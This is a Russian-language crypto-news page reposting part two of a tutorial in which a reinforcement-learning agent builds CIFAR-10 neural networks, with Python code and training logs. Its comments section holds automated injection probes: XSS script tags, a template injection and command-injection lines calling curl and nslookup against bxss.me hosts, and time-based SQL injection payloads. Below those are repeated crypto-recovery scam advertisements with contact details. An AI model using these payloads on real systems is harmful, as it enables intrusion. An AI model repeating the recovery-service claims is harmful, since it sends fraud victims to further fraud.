Русский
EnglishCryptocurrencies:
9512 /
Markets: 114689
Market Cap: $ 3 787 132 962 593 /
24h Vol: $ 200 392 171 953 /
BTC
Dominance: 58.653467328398%
Новости
Нейросеть, генерирующая нейросети. Часть 2. RL агент создаёт свои первые нейросети
Введение
Наконец пришло время объединить код из предыдущей части, в которой мы создавали нейросеть по списку слоёв, с RL алгоритмами! Сегодня мы поставим задачу для обучения с подкреплением, опишем, как будет производиться взаимодействие агента со средой и на практике реализуем код на языке python.
Важно: настоятельно рекомендую ознакомиться с первой частью, в которой мы разобрали построение сети по списку слоёв, в этой части акцент сильно смещён в сторону RL, и раздувания хронометража за счёт повторений пройденного не будет.
Начнём с постановки задачи
Первым делом опишем, что мы хотим получить в результате.
В качестве минимально жизнеспособного результата будем считать систему, в которой агент по входным данным будет создавать список слоёв нейросети, среда будет переводить действие агента в удобный для неё формат, простраивать нейросеть, запускать цикл обучения и возращать его результат агенту в качестве наблюдения.
Упрощения для первой реализации
Так задача имеет много параметров, от которых зависит качество результата, необходимо их определить и некоторые зафиксировать.
Гиперпараметры для обучения нейросети
learning_rate=0.001
batch_size=32
input_shape=[B, C, H, W]
num_classes=10 (датасет CIFAR10)
train_epochs=10
device='cuda' (Тестировалось на T4 GPU в google colab)
Гиперпараметры среды
layers_amount=5 - длина последовательности слоёв, генерируемой агентом.
memory_len=10 - сколько последних наблюдений будут выдаваться агенту, длина кольцевого буфера, новые измерения добавляются в конец.
metrics_amount=2 (Будем использовать просто train и valid MSELosses, да, не оптимально, но это в первой реализации не принципиальный момент).
Observation, action, reward
Упрощённое представление цикла обучения агента
В качестве входных данных для агента (observation) мы возьмём метрики, полученные в ходе обучения, и архитектуры в количестве, равном длине памяти. Т.е. агент принимает решение о построении новых нейросетей на основе пар: (предыдущая архитектура, метрики после обучения)
obs={
'metrics': shape=[mem_len, amount_of_metrics, train_epochs],
'architectures': shape=[mem_lem, layers_amount],
}
Действие агента (action) будет выглядеть как набор чисел фиксированной длины, каждому из которых соответствует слой нейросети из списка возможных (actions_set).
action = []
action.shape=[max_layers_amount]
Награда агента (reward) - зачастую самая сложная для формализации часть, так как от этого зависит, что агент примет за хорошо, а что за плохо. Мы будем награждать агента следующим образом:
metrics_optimization_reward - в случае, когда метрики улучшаются, агент заслуживает поощрение. рассчитаем награду как разницу между последними значениями отслеживаемых метрик и новыми, в зависимости от знака получившегося числа награда может превратиться в наказание за построение модели хуже, чем в последний раз.
Замечание 1: метрики первой эпохи могут представлять собой выбросы большой величины, поэтому их мы будем пропускать, производя по сути train_epochs + 1 эпох обучения.
Замечание 2: Не самые оптимальные архитектуры могут выдавать огромные показатели метрики. Для сглаживания этого момента мы будем ограничивать сверху значения эмпирически подобранным порогом (в частности было использовано значение 100).
Замечание 3: иногда в особо печальных случаях метрики вообще могут принять значение nan или inf, будем также заменять такие значения на NAN_NUM = 100.creation_successfull_reward - если нейросеть вообще получилось создать, уже неплохо, будем награждать агента за нейросети, которые получилось корректно построить и штрафовать в обратном случае. Для этого были созданы переменные NN_CREATE_SUCCESS_REWARD = 1
NN_CREATE_NOT_SUCCESS_PENALTY = -1optimal_depth_reward - эта часть является заделом на будущее, на текущий момент не используется
RL Custom environment
Для реализации будет использоваться python с библиотеками gymnasium и stable-baselines3.
Напомню основную структуру среды в gymnasium:
class Env(gym.Env):
def __init__(self):
# init all required variables
# action and observation spaces must be here!
self.action_space = spaces.Box(...)
self.observation_space = spaces.MultiDiscrete(...)
pass
def seed(self):
seed = 42
return [seed]
def step(self, action):
# most important metrics
# do manipulations with action,
# return new observation and reward
return obs, reward, _, done, info
def reset(self):
# set variables to start state
return obs
def render(self):
# all GUI parts should be here
# may be empty
passПройдёмся по каждому пункту.
__init__, объявление переменных
def __init__(self, opt_cls=None, crit=None, trn_ldr=None, vld_ldr=None, render_mode=None):
'''
Initialization of environment variables
'''
# here is learning params
self.NN_PARAMS = {
'lr': 0.001,
'num_classes': 10, # TODO adaptive num_classes
'train_epochs': 10,
'last_nets_metrics_memory_len': 10,
'layers_amount': 5,
'amount_of_metrics': 2,
}
# here contains NN learning metrics
# uses for observations
# shape=[MEMORY_LEN, N_METRICS, EPOCHS]
self.NN_PARAMS['metrics'] = np.zeros((
self.NN_PARAMS['last_nets_metrics_memory_len'],
self.NN_PARAMS['amount_of_metrics'],
self.NN_PARAMS['train_epochs'],
))
# here contains last architectures
# uses for observations
# shape=[MEMORY, N_LAYERS]
self.NN_PARAMS['last_nets_architectures'] = np.zeros((
self.NN_PARAMS['last_nets_metrics_memory_len'],
self.NN_PARAMS['layers_amount'],
))
# Variables for NN
self.Net = self.NN()
self.train_dataloader = trn_ldr
self.valid_dataloader = vld_ldr
self.optimizer_class = opt_cls
self.optimizer = None
self.criterion = crit
self.device = 'cuda'
self.nngenerator = self.nnGenerator()
self.last_obs = None
# Action space describes what agent will give to environment
# shape=[ACTION_SET_SIZE, N_LAYERS]
self.action_space = spaces.MultiDiscrete(
[len(self.actions_set)] * self.NN_PARAMS['layers_amount'],
seed=42)
# Observation space describes what agent
# will take from enviromnent as observation
# shape=dict{
# METRICS, shape as NN_PARAMS['metrics'],
# ARCHITECTURES, shape as NN_PARAMS['layers_amount'],
# }
self.observation_space = spaces.Dict(
{
'last_nets_metrics_memory': spaces.Box(
low=0,
high=100,
shape=(self.NN_PARAMS['last_nets_metrics_memory_len'],
self.NN_PARAMS['amount_of_metrics'],
self.NN_PARAMS['train_epochs'],
)),
'last_nets_architectures': spaces.Box(
low=0,
high=len(self.actions_set),
shape=(self.NN_PARAMS['last_nets_metrics_memory_len'],
self.NN_PARAMS['layers_amount'],
))
}
)
# some variable for collecting statistics
self.statistics = {
'episode_rewards': [],
'global_rewards': [],
'made_steps': [],
}
self.seed()
assert render_mode is None or render_mode in self.metadata["render_modes"]
self.render_mode = render_mode
На вход принимаются оптимайзер, ф‑я ошибки и даталоадеры.
Здесь указаны все необходимые параметры, создаётся объект пустой нейросети Net, в которую мы позже будет помещать построенную нейросеть, а также nnGenerator'a, что занимается обработкой действия агента и построения самой сети. Обязательными полями являются action_space и observation_space. Без их определения создание среды невозможно.
Замечание: к выбору пространства действий и наблюдений следует подходить с умом, так как алгоритмы агента из stable‑baselines3 могут не поддерживать тот формат, который вы выберете. О том, какие пространства можно выбрать для алгоритмов, можно посмотреть тут.
Мы будем использовать PPO('MultiInputPolicy') — proximal policy optimization алгоритм, о котором можно прочитать в документации тут.
reset, обнуление переменных, перезагрузка среды
def reset(self, seed=None, options=None):
'''
Reset the env,
Set all changed in training proccess variables to zero
(or noise, dependse on your realization)
seed: list, list of random seeds (depricated)
options: list, additional options (future)
'''
super().reset(seed=seed)
self.Net = self.NN()
current_obs = {
'last_nets_metrics_memory': np.zeros((
self.NN_PARAMS['last_nets_metrics_memory_len'],
self.NN_PARAMS['amount_of_metrics'],
self.NN_PARAMS['train_epochs'],
) ),
'last_nets_architectures': np.zeros((
self.NN_PARAMS['last_nets_metrics_memory_len'],
self.NN_PARAMS['layers_amount'],
) )
}
self.NN_PARAMS['metrics'] = np.zeros((
self.NN_PARAMS['last_nets_metrics_memory_len'],
self.NN_PARAMS['amount_of_metrics'],
self.NN_PARAMS['train_epochs'],
))
self.NN_PARAMS['last_nets_architectures'] = np.zeros((
self.NN_PARAMS['last_nets_metrics_memory_len'],
self.NN_PARAMS['layers_amount'],
))
self.last_obs = current_obs
self.episode_reward = 0
self.current_it = 1
self.statistics['episode_rewards'] = []
self.statistics['made_steps'] = []
return current_obs, {'none': None}
Тут ничего необычного, зануляем метрики, архитектуры, удаляем нейросеть, создаём пустое наблюдение. В планах реализовать заполнение первого наблюдения шумом.
step, переводим action в new_obs и reward
def step(self, action):
'''
Main environment function
takes action, creates NN, train NN, calc new obs and reward
action: list, shape of action is like action_space
return:
obs: np.array,
reward: float,
done = False, end of agent training flag, needed when your actions
achieved some finish state
info: dict, you may need to add some extra information, put it here
Algorithm
1) parse action
2) generate NN
3) update optimizer, prepare for training
4) train NN, collect metrics
5) calculate reward
6) collect statistics
7) create new observation
8) return obs, reward, done, info
'''
reward = 0
done = False
info = {}
self.nngenerator.parse_action(action, self.actions_set)
test_b = self.get_test_batch()
success_state, net = self.nngenerator.generateNN(n_classes=self.NN_PARAMS['num_classes'], test_batch=test_b)
new_metrics = None
if success_state == True: # NN created_correctly
self.NN_PARAMS['last_nets_architectures'] = np.roll(self.NN_PARAMS['last_nets_architectures'], -1, axis=0)
self.NN_PARAMS['last_nets_architectures'][-1] = action
self.Net.layers = net
display(self.Net)
self.Net = self.Net.to(self.device)
self.optimizer = self.optimizer_class(self.Net.parameters(), lr=self.NN_PARAMS['lr'])
new_metrics = self.train()
reward = self.calc_reward(success_state,
self.nngenerator.get_nn_len(),
new_metrics,
)
current_obs = self.create_obs()
self.last_obs = current_obs
print('Reward: ', reward)
self.episode_reward = reward
self.current_it += 1
return current_obs, self.episode_reward, None, done, info
В этом методе происходит вся магия. Создаём нейросеть, обучаем, собираем метрики, считаем награду, фиксируем прибыль ヽ( ▀̿ Ĺ̯ ▀̿)ノ.
Вспомогательными методами здесь являются get_test_batch, calc_reward и create_obs.
Выглядят они следующим образом:
def calc_reward(self, nn_created_correctly_flag, nn_len, last_train_metrics):
'''
calculate agent reward
nn_created_correctly_flag: bool,
if True - NN was built successfully,
we can calculate other parts of reward,
otherwise - agent takes NN_CREATE_NOT_SUCCESS_PENALTY only
nn_len: int,
that var needed for depth decreasing reward
# Not used (future) #
last_train_metrcis: np.array,
contains last training loop metrics
for metrics_optimization_reward
return reward: float, sum of all reward parts
'''
reward = 0
# TODO reward for decreasing nn depth
optimal_depth_reward = 0
# reward by metrics
metrics_optimization_reward = 0
# reward for successfull nn creation
creation_successfull_reward = 0
if nn_created_correctly_flag == True:
# do not reward agent if creation is not succeed
creation_successfull_reward += self.NN_CREATE_SUCCESS_REWARD
last_metrics = self.NN_PARAMS['metrics'][-1]
last_train_metrics = np.nan_to_num(x=last_train_metrics, nan=self.NAN_NUM)
last_train_metrics = np.minimum(last_train_metrics,
np.ones(shape=(self.NN_PARAMS['amount_of_metrics'], self.NN_PARAMS['train_epochs'])) * self.NAN_NUM
)
tmp_r = np.min(last_metrics,axis=1) - np.min(np.array(last_train_metrics), axis=1)
self.NN_PARAMS['metrics'] = np.roll(self.NN_PARAMS['metrics'], -1, axis=0)
self.NN_PARAMS['metrics'][-1] = last_train_metrics
metrics_optimization_reward = np.sum(self.METRICS_OPTIMIZATION_FACTOR * tmp_r)
optimal_depth_reward = (self.NN_PARAMS['layers_amount'] - nn_len)
optimal_depth_reward *= self.DEPTH_REWARD_FACTOR
else:
creation_successfull_reward += self.NN_CREATE_NOT_SUCCESS_PENALTY
reward += optimal_depth_reward
reward += metrics_optimization_reward
reward += creation_successfull_reward
return reward
def get_test_batch(self):
'''
return: batch: np.array, one batch
for input_shape in NN building algorithm
'''
batch = None
for b, _ in self.train_dataloader:
batch = b
return batch
def create_obs(self):
'''
return obs: dict, new observation
'''
obs = {
'last_nets_metrics_memory': self.NN_PARAMS['metrics'],
'last_nets_architectures': self.NN_PARAMS['last_nets_architectures']
}
return obsget_test_batch достаёт из датасета один батч, необходимый для вычисления входного shape'a данных при построении нейросети.
create_obs возвращает новое наблюдение, объединяя метрики и архитектуры в словарь формата, заданного в observation_space.
calc_reward посчитывает, какой награды (или наказания) будет удостоен агент.
Тестирование
Первым делом нужно зарегистрировать нашу самодельную среду в gymnasium библиотеке.
Для этого мы обернём наш код среды особым образом, чтобы все необходимые файлы сгенерировались. Вот так это выглядит с шаблоном gym среды, описанном выше:
import os
def make_dirs(env_name: str):
os.makedirs('gym_{}'.format(env_name))
os.makedirs('gym_{}/envs'.format(env_name))
pass
def make_files(env_name: str, stage_names):
registry_init = 'gym_{}/__init__.py'.format(env_name)
with open(registry_init, 'w') as f:
f.write('from gym.envs.registration import register\n\n')
for name in stage_names:
register_str = "register(\n id='{}',\n entry_point='gym_{}.envs:{}',\n)\n".format(name,
env_name,
''.join([s.capitalize()for s in name.split('_')]))
f.write(register_str)
envs_init = 'gym_{}/envs/__init__.py'.format(env_name)
with open(envs_init, 'w') as f:
for name in stage_names:
import_str = "from gym_{}.envs.{} import {}\n".format(env_name, name,
''.join([s.capitalize() for s in name.split('_')]))
f.write(import_str)
head = """#all required imports here
"""
tail = """
def __init__(self):
# init all required variables
# action and observation spaces must be here!
self.action_space = spaces.Box(...)
self.observation_space = spaces.MultiDiscrete(...)
pass
def seed(self):
seed = 42
return [seed]
def step(self, action):
# most important metrics
# do manipulations with action,
# return new observation and reward
return obs, reward, _, done, info
def reset(self):
# set variables to start state
return obs
def render(self):
# all GUI parts should be here
# may be empty
pass
"""
for name in stage_names:
env_class = 'class {}(gym.Env):'.format(''.join([s.capitalize() for s in name.split('_')]))
with open('gym_{}/envs/{}.py'.format(env_name, name), 'w') as f:
f.write(head + env_class + tail)
pass
def make_setup(env_name):
with open('setup.py', 'w') as f:
tmp = [
'from setuptools import setup\n\n',
"setup(name='gym_{}',\n".format(env_name),
" version='0.0.1',\n",
" install_requires=['gym'] # And any other dependencies foo needs\n",
")\n",
]
f.writelines(tmp)
if __name__ == '__main__':
env_name = 'env'# input('Please type your env\'s name (string):')
env_stage_num = 1 #int(input('Type the stage number of your Env (int):'))
print(
'Please type yout stage names\n(start with alphabet, lowercase and number, split by underscore(_), e.g. my_env_v1)')
env_stage_names = ['env']
#for i in range(env_stage_num):
# env_stage_names.append(input("Stage {}s name:".format(i)))
make_dirs(env_name)
make_files(env_name, env_stage_names)
#generate_setup = input('Generate `setup.py`?[y/n]')
generate_setup = 'y'
if generate_setup.lower() == 'y':
make_setup(env_name)
Далее мы регистрируем нашу среду в gym, создаём её и запускаем обучение:
# for google colab
#!pip install stable_baselines3
#!pip install shimmy==0.2.1
#!pip install gymnasium
from stable_baselines3 import *
from stable_baselines3.common.vec_env import DummyVecEnv, SubprocVecEnv
from stable_baselines3.common.env_util import make_vec_env
import gymnasium as gym
import numpy as np
import torch
import torchvision.datasets as dsets
from torchvision import transforms
from torch.utils.data import Dataset
from gymnasium.envs.registration import register
register(
id='gym_env/env_v1-v0',
entry_point='gym_env.envs:Env',
max_episode_steps=300,
)
# download pytorch CIFAR10 Dataset
train_data = dsets.CIFAR10(root = './data', train = True,
transform = transforms.ToTensor(), download = True)
test_data = dsets.CIFAR10(root = './data', train = False,
transform = transforms.ToTensor())
train_samples = np.array(train_data.data)[:15000].transpose((0,3,1,2)) # convert to [B, C, H, W]
train_labels = np.array(train_data.targets)[:15000]
# simple custom dataset template
class myDataset(Dataset):
def __init__(self, X, y):
self.X = X
self.y = y
def __len__(self):
return len(self.y)
def __getitem__(self, idx):
x_ = self.X[idx]
y_ = self.y[idx]
return x_, y_
dataset = myDataset(X=train_samples, y=train_labels)
train_set, valid_set = torch.utils.data.random_split(dataset, [0.8, 0.2], generator=torch.Generator().manual_seed(42))
train_loader = torch.utils.data.DataLoader(
train_set,
batch_size=32,
shuffle=True,
drop_last=True)
valid_loader = torch.utils.data.DataLoader(
valid_set,
batch_size=32,
drop_last=True,
shuffle=True)
# some environment params
# optimizer should be class
# because every NN building needs
# pass model.params() to optimizer,
# so we will recreate optimizer every
# time new NN will be created successfully
env_params = {
'opt_cls': torch.optim.RAdam,
'trn_ldr': train_loader,
'vld_ldr': valid_loader,
'crit': torch.nn.MSELoss(),
}
env = gymnasium.make('gym_env/env_v1', **env_params)
# Proximal Policy Optimization
# doc: https://stable-baselines3.readthedocs.io/en/master/modules/ppo.html
model = PPO("MultiInputPolicy", env, verbose=1)
model.learn(total_timesteps=10000)
Процесс обучения выглядит следующим образом:
Reward: -1
Reward: -1
Reward: -1
Reward: -1
Reward: -1
NN(
(layers): Sequential(
(0): Sequential(
(0): AvgPool2d(kernel_size=2, stride=2, padding=0)
(1): Dropout2d(p=0.1, inplace=False)
(2): Dropout2d(p=0.1, inplace=False)
(3): Conv2d(3, 2, kernel_size=(5, 5), stride=(1, 1))
(4): ReLU(inplace=True)
(5): Conv2d(2, 16, kernel_size=(5, 5), stride=(1, 1))
(6): ReLU(inplace=True)
)
(1): Flatten(start_dim=1, end_dim=-1)
(2): Linear(in_features=1024, out_features=10, bias=True)
)
)
100%|██████████| 11/11 [00:10<00:00, 1.04it/s]Reward: -3.344358348846436
NN(
(layers): Sequential(
(0): Sequential(
(0): Conv2d(3, 2, kernel_size=(5, 5), stride=(1, 1))
(1): ReLU(inplace=True)
(2): Dropout2d(p=0.1, inplace=False)
(3): Dropout2d(p=0.1, inplace=False)
(4): Dropout2d(p=0.2, inplace=False)
(5): AvgPool2d(kernel_size=2, stride=2, padding=0)
)
(1): Flatten(start_dim=1, end_dim=-1)
(2): Linear(in_features=392, out_features=10, bias=True)
)
)
100%|██████████| 11/11 [00:09<00:00, 1.12it/s]
Reward: -5.165955924987793
Reward: -1
Reward: -1
Reward: -1
Reward: -1
Reward: -1
Reward: -1
NN(
(layers): Sequential(
(0): Sequential(
(0): Conv2d(3, 1, kernel_size=(5, 5), stride=(1, 1))
(1): ReLU(inplace=True)
(2): Dropout2d(p=0.2, inplace=False)
(3): BatchNorm2d(1, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(4): Conv2d(1, 8, kernel_size=(5, 5), stride=(1, 1))
(5): ReLU(inplace=True)
(6): MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)
)
(1): Flatten(start_dim=1, end_dim=-1)
(2): Linear(in_features=1152, out_features=10, bias=True)
)
)
100%|██████████| 11/11 [00:11<00:00, 1.06s/it]
Reward: 10.80641279220581Задел на будущее
Естественно, эта реализация является минимально рабочим вариантом, масштаб модификаций и идей для улучшения сложно охватить одной статьёй. В последующих статьях будем улучшать текущую реализацию, попробуем вариант генерации сети по слоям вместо целой сети за раз, добавим возможности для решения задач детекции, сегментации, и много чего ещё!
Заключение
Обучение RL моделей — процесс довольно долгий, положительный результат может прийти далеко не сразу. Однако в перспективе получить нейросеть, которая сама будет решать задачу построения нейросети, вполне реально. Кто знает, возможно скоро вместо ML инженеров нейросети будут строить сами нейросети?
-
09.10.25 08:09
pHqghUme
can I ask you a question please?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:13
pHqghUme
can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
-
09.10.25 08:13
pHqghUme
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
-
09.10.25 08:13
pHqghUme
'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
-
09.10.25 08:13
pHqghUme
can I ask you a question please?9425407
-
09.10.25 08:13
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:14
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:16
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
"+response.write(9043995*9352716)+"
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
-
09.10.25 08:18
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:19
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:22
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:22
pHqghUme
can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?
-
09.10.25 08:23
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
09.10.25 08:24
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:24
pHqghUme
e
-
09.10.25 08:24
pHqghUme
can I ask you a question please?-1 waitfor delay '0:0:15' --
-
09.10.25 08:25
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
-
09.10.25 08:26
pHqghUme
can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
-
09.10.25 08:26
pHqghUme
e
-
09.10.25 08:27
pHqghUme
can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
-
09.10.25 08:27
pHqghUme
can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'"
-
09.10.25 08:28
pHqghUme
can I ask you a question please?
-
09.10.25 08:28
pHqghUme
@@olQP6
-
09.10.25 08:28
pHqghUme
(select 198766*667891 from DUAL)
-
09.10.25 08:28
pHqghUme
(select 198766*667891)
-
09.10.25 08:30
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:33
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:35
pHqghUme
e
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:40
pHqghUme
can I ask you a question please?
-
09.10.25 08:40
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:41
pHqghUme
e
-
09.10.25 08:41
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:42
pHqghUme
e
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
11.10.25 04:41
luciajessy3
Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
-
11.10.25 10:44
Tonerdomark
A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email 